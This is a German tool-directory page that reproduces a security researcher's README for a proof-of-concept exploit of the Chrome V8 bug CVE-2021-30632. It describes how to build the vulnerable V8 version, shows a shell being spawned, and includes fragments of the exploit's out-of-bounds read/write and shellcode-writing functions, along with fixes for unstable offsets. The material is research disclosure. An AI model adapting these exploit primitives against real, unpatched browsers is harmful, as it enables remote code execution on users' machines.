Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-30632 — m-y-mo: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632 | Kitploit
Tools/GitHubGitHub/paulsery/cve-2021-30632
SchwachstellenanalyseExploitationShellcodeWebanwendungs-ExploitationShellcode-GenerierungBinary-Exploitation
GitHubpaulsery/cve-2021-30632

CVE-2021-30632

m-y-mo: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632

Repository anzeigen
120vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Von: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632

Die Analyse dieses Bugs findest du hier. Es handelt sich um einen Chrome-Bug, der von einem anonymen Forscher gemeldet wurde und von dem angenommen wird, dass er in freier Wildbahn ausgenutzt wurde.

Der Exploit hier wurde mit der V8-Version 9.3.345.16 (Commit 632e6e7) getestet, der Version, die mit Chrome 93.0.4577.63 ausgeliefert wurde, also der Version vor der Behebung des Bugs, unter Ubuntu 20.04. Ich habe ihn nicht mit Chrome selbst getestet.

Zum Testen checkst du v8 im Commit 632e6e7 aus und kompilierst es mit den Standardeinstellungen mit tools/dev/gm.py x64.release. Dann öffnest du die Datei poc.js mit d8:

./d8 poc.js

Unter Ubuntu 20.04 sollte es execve("/bin/sh") aufrufen, um einen neuen Prozess zu starten:

./d8 poc.js
instance: 81d42dd
elements: 804abd9
rwx page address: 22c70c88b000
intArray addr: 8105d79
intBackingStore: 56498ceb25e0
$

Der Shellcode muss auf anderen Plattformen möglicherweise angepasst werden.

Der Exploit ist sehr zuverlässig. Beim Testen ist mir jedoch aufgefallen, dass einige Offsets empfindlich auf kleine Änderungen an der Datei zu reagieren scheinen (selbst das Hinzufügen von Kommentaren kann Probleme verursachen), was dazu führt, dass der Exploit fehlschlägt. Dies passiert nur, wenn die Datei verändert wird, und äußert sich meist in einigen Müllwerten der Adressen, zum Beispiel:

instance: 81d42dd
elements: 800222d
rwx page address: 3ff199999999999a
intArray addr: 81067e1
intBackingStore: 3ff199999999999a

Oben sind die Adresse der rwx-Seite und initBackingStore eindeutig falsch. Die Ursache scheint ein falscher Wert für elements zu sein. (800222d ist kein gültiger Wert.) Dies kann normalerweise behoben werden, indem die folgenden Zeilen bezüglich der Adresse von elements geändert werden:

function arbRead(addr) {
  [elements, addr1] = ftoi32(addrs[1]);  //<---- change this to [addr1, elements] = ftoi32(addrs[1]);
  oobWrite(i32tof(addr,addr1));          //<---- change to   oobWrite(i32tof(addr1,addr));
  return writeArr[0];
}
...
function writeShellCode(rwxAddr, shellArr) {
  var intArr = new Uint8Array(400);
  var intArrAddr = addrOf(intArr);
  console.log("intArray addr: " + intArrAddr.toString(16));
  var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
  console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));

  [elements, addr1] = ftoi32(addrs[1]);              //<------ change this to [addr1, elements] = ftoi32(addrs[1]);
  oobWrite(i32tof(intArrAddr + 0x20, addr1));        //<------ change this to oobWrite(i32tof(addr1, intArrAddr + 0x20));
  ...
}
...
var elementsAddr = ftoi32(addrs[1])[0];             //<------- change this to var elementsAddr = ftoi32(addrs[1])[1];

Dies beeinträchtigt jedoch nicht die Zuverlässigkeit des Exploits, da die Offsets stabil sind, solange die Datei unverändert bleibt, aber es kann Probleme verursachen, wenn der Poc geändert wird. Ich weiß nicht, was das verursacht, aber der Exploit kann wahrscheinlich robuster dagegen gemacht werden, indem man Muster im Speicher abgleicht, anstatt sich auf feste Offsets zu verlassen.

Tool herunterladen